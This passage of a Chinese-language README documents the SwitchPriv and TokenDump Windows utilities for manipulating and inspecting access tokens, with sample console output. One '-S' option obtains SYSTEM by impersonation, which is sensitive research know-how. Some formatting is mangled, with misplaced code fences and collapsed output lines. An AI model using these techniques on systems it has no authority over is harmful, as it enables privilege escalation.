PRIVILEGES INFORMATION

Privilege Name State ======================= ========================== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Disabled SeUndockPrivilege Enabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

如果你想测试特定的权限，你可以通过 `-f` 选项移除除了你想要测试的权限之外的所有权限，如下所示：```
PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege           Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -f tim

[>] Trying to remove all token privileges except one.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 1 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name      State
=================== =======
SeTimeZonePrivilege Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

您可以使用逗号分隔的值来过滤多个权限，如下所示：``` PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 24 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeIncreaseQuotaPrivilege Disabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege Disabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege Disabled SeIncreaseBasePriorityPrivilege Disabled SeCreatePagefilePrivilege Disabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeRemoteShutdownPrivilege Disabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled SeCreateSymbolicLinkPrivilege Disabled SeDelegateSessionUserImpersonatePrivilege Disabled

[] Integrity Level : High Mandatory Level [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -f rest,back,deb

[>] Trying to remove all token privileges except one. [] Target PID : 24300 [] Process Name : powershell [>] Trying to remove privileges other than follows. [] SeBackupPrivilege [] SeRestorePrivilege [] SeDebugPrivilege [+] SeIncreaseQuotaPrivilege is removed successfully. [+] SeSecurityPrivilege is removed successfully. [+] SeTakeOwnershipPrivilege is removed successfully. [+] SeLoadDriverPrivilege is removed successfully. [+] SeSystemProfilePrivilege is removed successfully. [+] SeSystemtimePrivilege is removed successfully. [+] SeProfileSingleProcessPrivilege is removed successfully. [+] SeIncreaseBasePriorityPrivilege is removed successfully. [+] SeCreatePagefilePrivilege is removed successfully. [+] SeShutdownPrivilege is removed successfully. [+] SeSystemEnvironmentPrivilege is removed successfully. [+] SeChangeNotifyPrivilege is removed successfully. [+] SeRemoteShutdownPrivilege is removed successfully. [+] SeUndockPrivilege is removed successfully. [+] SeManageVolumePrivilege is removed successfully. [+] SeImpersonatePrivilege is removed successfully. [+] SeCreateGlobalPrivilege is removed successfully. [+] SeIncreaseWorkingSetPrivilege is removed successfully. [+] SeTimeZonePrivilege is removed successfully. [+] SeCreateSymbolicLinkPrivilege is removed successfully. [+] SeDelegateSessionUserImpersonatePrivilege is removed successfully. [] Done.

PS C:\Dev> .\SwitchPriv.exe -p 24300 -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 24300 [] Process Name : powershell [+] Got 3 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================= ======== SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeDebugPrivilege Enabled

[] Integrity Level : High Mandatory Level [] Done.

要启用、禁用或移除所有可用的令牌特权，请将 `all` 指定为 `--enable`、`--disable` 或 `--remove` 选项的值：```
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\Dev> .\SwitchPriv.exe -e all

[>] Trying to enable all token privileges.
    [*] Target PID   : 6772
    [*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.

PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

要查找具有特定权限的进程，请使用 -s 选项如下：``` PS C:\Dev> .\SwitchPriv.exe -s createt

[>] Searching processes have SeCreateTokenPrivilege. [+] Got 5 process(es). [] Memory Compression (PID : 2548) [] smss (PID : 372) [] lsass (PID : 736) [] csrss (PID : 584) [] csrss (PID : 504) [] Access is denied by following 2 process(es). [] System (PID : 4) [] Idle (PID : 0) [*] Done.

PS C:\Dev> .\SwitchPriv.exe -g -p 2548

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ========================================= ========================= SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege EnabledByDefault, Enabled SeIncreaseQuotaPrivilege Disabled SeTcbPrivilege EnabledByDefault, Enabled SeSecurityPrivilege Disabled SeTakeOwnershipPrivilege Disabled SeLoadDriverPrivilege Disabled SeSystemProfilePrivilege EnabledByDefault, Enabled SeSystemtimePrivilege Disabled SeProfileSingleProcessPrivilege EnabledByDefault, Enabled SeIncreaseBasePriorityPrivilege EnabledByDefault, Enabled SeCreatePagefilePrivilege EnabledByDefault, Enabled SeCreatePermanentPrivilege EnabledByDefault, Enabled SeBackupPrivilege Disabled SeRestorePrivilege Disabled SeShutdownPrivilege Disabled SeDebugPrivilege EnabledByDefault, Enabled SeAuditPrivilege EnabledByDefault, Enabled SeSystemEnvironmentPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeManageVolumePrivilege Disabled SeImpersonatePrivilege EnabledByDefault, Enabled SeCreateGlobalPrivilege EnabledByDefault, Enabled SeTrustedCredManAccessPrivilege Disabled SeRelabelPrivilege Disabled SeIncreaseWorkingSetPrivilege EnabledByDefault, Enabled SeTimeZonePrivilege EnabledByDefault, Enabled SeCreateSymbolicLinkPrivilege EnabledByDefault, Enabled SeDelegateSessionUserImpersonatePrivilege EnabledByDefault, Enabled

[] Integrity Level : System Mandatory Level [] Done.

如果你想要设置完整性级别，请使用如下 `--integrity` 选项：```
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192

PS C:\Dev> .\SwitchPriv.exe -i 1

[>] Trying to update Integrity Level.
    [*] Target PID   : 3436
    [*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.

PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Low Mandatory Level                           Label            S-1-16-4096

要以SYSTEM身份执行任何操作，请按如下方式设置-S标志（需要SeDebugPrivilege和SeImpersonatePrivilege）：``` PS C:\Dev> .\SwitchPriv.exe -g -p 2548 -S

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 2548 [] Process Name : Memory Compression [>] Trying to get SYSTEM. [+] Got SYSTEM privilege. [+] Got 31 token privilege(s).

PRIVILEGES INFORMATION

[] Integrity Level : System Mandatory Level [] Done.

## TokenDump

[返回顶部](#privfu)

[项目](https://github.com/daem0nc0re/privfu/blob/main/TokenDump)


这个工具是一个用于检查Token信息的实用工具：```
C:\Dev>.\TokenDump.exe -h

TokenDump - Tool to dump processs token information.

Usage: TokenDump.exe [Options]

        -h, --help    : Displays this help message.
        -d, --debug   : Flag to enable SeDebugPrivilege.
        -e, --enum    : Flag to enumerate brief information tokens for processes or handles.
        -T, --thread  : Flag to scan thead tokens. Use with -e option.
        -H, --handle  : Flag to scan token handles. Use with -e option.
        -s, --scan    : Flag to get verbose information for a specific process, thread or handle.
        -a, --account : Specifies account name filter string. Use with -e flag.
        -p, --pid     : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
        -t, --tid     : Specifies a target TID in decimal format. Use with -s flag and -p option.
        -v, --value   : Specifies a token handle value in hex format. Use with -s flag and -p option.

要枚举所有进程的令牌，只需设置 -e 标志：``` C:\Dev>.\TokenDump.exe -e

[>] Trying to enumerate process token.

PID Session Process Name Token User Integrity Restricted AppContainer ==== ======= =========================== ============================ ========= ========== ============ 5004 0 svchost.exe NT AUTHORITY\SYSTEM System False False 3728 0 conhost.exe NT AUTHORITY\SYSTEM System False False

--snip--

6712 0 svchost.exe NT AUTHORITY\LOCAL SERVICE System False False 1972 0 svchost.exe NT AUTHORITY\SYSTEM System False False

[+] Got 129 token information. [] Found 7 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\NETWORK SERVICE [] Font Driver Host\UMFD-0 [] Font Driver Host\UMFD-1 [] Window Manager\DWM-1 [*] Done.

如果你想要启用 SeDebugPrivilege，请按如下方式设置 `-d` 标志：```
C:\Dev>.\TokenDump.exe -e -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name                Token User                   Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004       0 svchost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3728       0 conhost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3740       0 vm3dservice.exe             NT AUTHORITY\SYSTEM          System    False      False

--snip--

当同时设置 -H 和 -e 标志时，TokenDump 会尝试枚举令牌句柄信息：``` C:\Dev>.\TokenDump.exe -e -H -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User Integrity Restricted AppContainer Token Type Impersonation Level ====== ======= =================== ========= ========== ============ ============= =================== 0x2B0 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x2B4 1 NT AUTHORITY\SYSTEM System False False Primary Anonymous 0x38C 1 dev22h2\user Medium False False Primary Impersonation

--snip--

[Token Handle(s) - svchost.exe (PID: 3272)]

[+] Got 819 handle(s). [] Found 8 account(s). [] NT AUTHORITY\SYSTEM [] dev22h2\user [] Font Driver Host\UMFD-1 [] Font Driver Host\UMFD-0 [] NT AUTHORITY\NETWORK SERVICE [] Window Manager\DWM-1 [] NT AUTHORITY\LOCAL SERVICE [] NT AUTHORITY\ANONYMOUS LOGON [] Done.

当使用`-p`选项指定PID时，TokenDup仅枚举指定进程的句柄：```
C:\Dev>.\TokenDump.exe -e -H -d -p 704

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User          Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
 0x2B0       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x2B4       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x38C       1 dev22h2\user        Medium    False      False        Primary       Impersonation
 0x398       1 dev22h2\user        High      False      False        Primary       Identification
 0x3C4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3C8       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D0       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation

[+] Got 8 handle(s).
[*] Found 2 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
[*] Done.

要枚举模拟的线程令牌，请同时设置 -T 标志和 -e 标志，如下所示：``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

PID TID Session Process Name Token User Integrity Impersonation Level ==== ==== ======= ============ =================== ========= =================== 1952 2000 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 1952 2300 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4348 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation 3516 4656 0 svchost.exe NT AUTHORITY\SYSTEM System Impersonation

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

如果你想通过 token 用户名过滤这些结果，请将筛选字符串设置为 `-a` 选项值，如下所示：```
C:\Dev>.\TokenDump.exe -e -a network -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name Token User                   Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3500       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2904       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2504       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
7012       0 msdtc.exe    NT AUTHORITY\NETWORK SERVICE System    False      False
7092       0 sppsvc.exe   NT AUTHORITY\NETWORK SERVICE System    False      False
1676       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3584       0 WmiPrvSE.exe NT AUTHORITY\NETWORK SERVICE System    False      False
1000       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False

[+] Got 9 token information.
[*] Found 7 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Font Driver Host\UMFD-0
    [*] Font Driver Host\UMFD-1
    [*] Window Manager\DWM-1
[*] Done.

C:\Dev>.\TokenDump.exe -e -a network -d -H

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - lsass.exe (PID: 768)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
 0x914       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Impersonation Impersonation

--snip--

[Token Handle(s) - msdtc.exe (PID: 7012)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
 0x23C       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Primary    Anonymous

[+] Got 27 handle(s).
[*] Found 8 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] Font Driver Host\UMFD-1
    [*] Font Driver Host\UMFD-0
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Window Manager\DWM-1
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\ANONYMOUS LOGON
[*] Done.

要获取特定进程的详细信息，请设置 -s 标志并将目标 PID 作为 -p 选项的值：``` C:\Dev>.\TokenDump.exe -s -p 5996

[>] Trying to dump process token information.

[Token Information for StartMenuExperienceHost.exe (PID: 5996)]

ImageFilePath : C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe CommandLine : "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Primary Impersonation Level : Anonymous Token ID : 0x0000000000063D9A Authentication ID : 0x000000000001DFE5 Original ID : 0x00000000000003E7 Modified ID : 0x0000000000063D24 Integrity Level : Low Protection Level : N/A Session ID : 1 Elevation Type : Limited Mandatory Policy : NoWriteUp Elevated : False AppContainer : True TokenFlags : VirtualizeAllowed, IsFiltered, LowBox AppContainer Name : microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy AppContainer SID : S-1-15-2-515815643-2845804217-1874292103-218650560-777617685-4287762684-137415000 AppContainer Number : 2 Has Linked Token : True Token Source : User32 Token Source ID : 0x000000000001DE9D

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group UseForDenyOnly
BUILTIN\Administrators                                        UseForDenyOnly
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\Low Mandatory Level                           Integrity, IntegrityEnabled


APPCONTAINER CAPABILITIES
-------------------------

Capability Name                                                            Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITY\Your Internet connection                     Enabled
APPLICATION PACKAGE AUTHORITY\Your home or work networks                   Enabled
NAMED CAPABILITIES\PackageQuery                                            Enabled
NAMED CAPABILITIES\ActivitySystem                                          Enabled
NAMED CAPABILITIES\PreviewStore                                            Enabled
NAMED CAPABILITIES\CortanaPermissions                                      Enabled
NAMED CAPABILITIES\AppointmentsSystem                                      Enabled
NAMED CAPABILITIES\TeamEditionExperience                                   Enabled
NAMED CAPABILITIES\ShellExperience                                         Enabled
NAMED CAPABILITIES\PackageContents                                         Enabled
NAMED CAPABILITIES\VisualElementsSystem                                    Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled
NAMED CAPABILITIES\ActivityData                                            Enabled
NAMED CAPABILITIES\CloudStore                                              Enabled
NAMED CAPABILITIES\TargetedContent                                         Enabled
NAMED CAPABILITIES\StoreAppInstall                                         Enabled
NAMED CAPABILITIES\StoreLicenseManagement                                  Enabled
NAMED CAPABILITIES\CortanaSettings                                         Enabled
NAMED CAPABILITIES\DependencyTarget                                        Enabled
NAMED CAPABILITIES\SearchSettings                                          Enabled
NAMED CAPABILITIES\CellularData                                            Enabled
NAMED CAPABILITIES\WifiData                                                Enabled
PACKAGE CAPABILITY\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy Enabled
NAMED CAPABILITIES\AccessoryManager                                        Enabled
NAMED CAPABILITIES\UserAccountInformation                                  Enabled


DACL INFORMATION
----------------

Account Name                                            Access                      Flags Type
======================================================= =========================== ===== =============
dev22h2\user                                            GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                                     GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425                    GenericExecute, GenericRead None  AccessAllowed
microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy GenericAll                  None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[Linked Token Information for StartMenuExperienceHost.exe (PID: 5996)]

Token User : dev22h2\user (SID: S-1-5-21-3896868301-3921591151-1374190648-1001) Token Owner : BUILTIN\Administrators (SID: S-1-5-32-544) Primary Group : dev22h2\None (SID: S-1-5-21-3896868301-3921591151-1374190648-513) Token Type : Impersonation Impersonation Level : Identification Token ID : 0x000000000016ECE6 Authentication ID : 0x000000000001DF83 Original ID : 0x00000000000003E7 Modified ID : 0x000000000001DFE4 Integrity Level : High Protection Level : N/A Session ID : 1 Elevation Type : Full Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : NotLow Token Source : User32 Token Source ID : 0x000000000001DE9D

PRIVILEGES INFORMATION
----------------------

Privilege Name                            State
========================================= =========================
SeIncreaseQuotaPrivilege                  Disabled
SeSecurityPrivilege                       Disabled
SeTakeOwnershipPrivilege                  Disabled
SeLoadDriverPrivilege                     Disabled
SeSystemProfilePrivilege                  Disabled
SeSystemtimePrivilege                     Disabled
SeProfileSingleProcessPrivilege           Disabled
SeIncreaseBasePriorityPrivilege           Disabled
SeCreatePagefilePrivilege                 Disabled
SeBackupPrivilege                         Disabled
SeRestorePrivilege                        Disabled
SeShutdownPrivilege                       Disabled
SeDebugPrivilege                          Disabled
SeSystemEnvironmentPrivilege              Disabled
SeChangeNotifyPrivilege                   EnabledByDefault, Enabled
SeRemoteShutdownPrivilege                 Disabled
SeUndockPrivilege                         Disabled
SeManageVolumePrivilege                   Disabled
SeImpersonatePrivilege                    EnabledByDefault, Enabled
SeCreateGlobalPrivilege                   EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege             Disabled
SeTimeZonePrivilege                       Disabled
SeCreateSymbolicLinkPrivilege             Disabled
SeDelegateSessionUserImpersonatePrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group Mandatory, EnabledByDefault, Enabled
BUILTIN\Administrators                                        Mandatory, EnabledByDefault, Enabled, Owner
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\High Mandatory Level                          Integrity, IntegrityEnabled


DACL INFORMATION
----------------

Account Name                         Access                      Flags Type
==================================== =========================== ===== =============
BUILTIN\Administrators               GenericAll                  None  AccessAllowed
NT AUTHORITY\SYSTEM                  GenericAll                  None  AccessAllowed
NT AUTHORITY\LogonSessionId_0_122425 GenericExecute, GenericRead None  AccessAllowed


SECURITY ATTRIBUTES INFORMATION
-------------------------------

[*] WIN://SYSAPPID
    Flags : None
    Type  : String
        Value[0x00] : Microsoft.Windows.StartMenuExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy
        Value[0x01] : App
        Value[0x02] : Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy

[*] WIN://PKG
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x0000000200000001

[*] WIN://PKGHOSTID
    Flags : None
    Type  : UInt64
        Value[0x00] : 0x1000000000000001

[*] TSA://ProcUnique
    Flags : NonInheritable, Unique
    Type  : UInt64
        Value[0x00] : 0x0000000000000041
        Value[0x01] : 0x0000000000063D9B

[*] Done.

如果在一个特定进程中设置句柄值作为 `-v` 选项，并指定 PID 作为 `-p` 选项以及 `-s` 标志，该工具将获得该句柄的详细信息如下：```
C:\Dev>.\TokenDump.exe -s -p 7012 -v 0x23C -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to dump token handle information.

[Token Information for Handle 0x23C of msdtc.exe (PID: 7012)]

Token User          : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Owner         : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Primary Group       : NT AUTHORITY\NETWORK SERVICE (SID: S-1-5-20)
Token Type          : Primary
Impersonation Level : Anonymous
Token ID            : 0x000000000007DF17
Authentication ID   : 0x00000000000003E4
Original ID         : 0x00000000000003E7
Modified ID         : 0x000000000007DEE2
Integrity Level     : System
Protection Level    : N/A
Session ID          : 0
Elevation Type      : Default
Mandatory Policy    : NoWriteUp, NewProcessMin
Elevated            : False
AppContainer        : False
TokenFlags          : IsFiltered, NotLow
Has Linked Token    : False
Token Source        : N/A
Token Source ID     : N/A


    PRIVILEGES INFORMATION
    ----------------------

    Privilege Name          State
    ======================= =========================
    SeChangeNotifyPrivilege EnabledByDefault, Enabled
    SeCreateGlobalPrivilege EnabledByDefault, Enabled


    GROUP INFORMATION
    -----------------

    Group Name                             Attributes
    ====================================== ====================================================
    Mandatory Label\System Mandatory Level Integrity, IntegrityEnabled
    Everyone                               Mandatory, EnabledByDefault, Enabled
    BUILTIN\Users                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\SERVICE                   Mandatory, EnabledByDefault, Enabled
    CONSOLE LOGON                          Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\Authenticated Users       Mandatory, EnabledByDefault, Enabled
    NT AUTHORITY\This Organization         Mandatory, EnabledByDefault, Enabled
    NT SERVICE\MSDTC                       EnabledByDefault, Enabled, Owner
    NT AUTHORITY\LogonSessionId_0_515780   Mandatory, EnabledByDefault, Enabled, Owner, LogonId
    LOCAL                                  Mandatory, EnabledByDefault, Enabled


    DACL INFORMATION
    ----------------

    Account Name        Access      Flags Type
    =================== =========== ===== =============
    NT AUTHORITY\SYSTEM GenericAll  None  AccessAllowed
    OWNER RIGHTS        ReadControl None  AccessAllowed
    NT SERVICE\MSDTC    GenericAll  None  AccessAllowed


    SECURITY ATTRIBUTES INFORMATION
    -------------------------------

    [*] TSA://ProcUnique
        Flags : NonInheritable, Unique
        Type  : UInt64
            Value[0x00] : 0x0000000000000070
            Value[0x01] : 0x000000000007DF18


[*] Done.

要调查应用于线程的模拟令牌，请按如下方式将线程ID设置为-t选项：``` C:\Dev>.\TokenDump.exe -e -T -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to enumerate impersonated threads.

[+] Got 4 thread(s). [] Found 1 account(s). [] NT AUTHORITY\SYSTEM [*] Done.

C:\Dev>.\TokenDump.exe -s -p 3516 -t 4656 -d

[>] Trying to enable SeDebugPrivilege. [+] SeDebugPrivilege is enabled successfully. [>] Trying to dump thread token information.

[Token Information for svchost.exe (PID: 3516, TID: 4656)]

Token User : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Owner : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Primary Group : NT AUTHORITY\SYSTEM (SID: S-1-5-18) Token Type : Impersonation Impersonation Level : Impersonation Token ID : 0x0000000000038CC4 Authentication ID : 0x00000000000003E7 Original ID : 0x00000000000003E7 Modified ID : 0x000000000002CE61 Integrity Level : System Protection Level : N/A Session ID : 0 Elevation Type : Default Mandatory Policy : NoWriteUp, NewProcessMin Elevated : True AppContainer : False TokenFlags : IsFiltered, NotLow, EnforceRedirectionTrust Has Linked Token : False Token Source : N/A Token Source ID : N/A

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeAssignPrimaryTokenPrivilege Disabled
SeTcbPrivilege                EnabledByDefault, Enabled
SeSecurityPrivilege           Disabled
SeSystemProfilePrivilege      EnabledByDefault, Enabled
SeDebugPrivilege              EnabledByDefault, Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeImpersonatePrivilege        EnabledByDefault, Enabled
SeCreateGlobalPrivilege       EnabledByDefault, Enabled


GROUP INFORMATION
-----------------

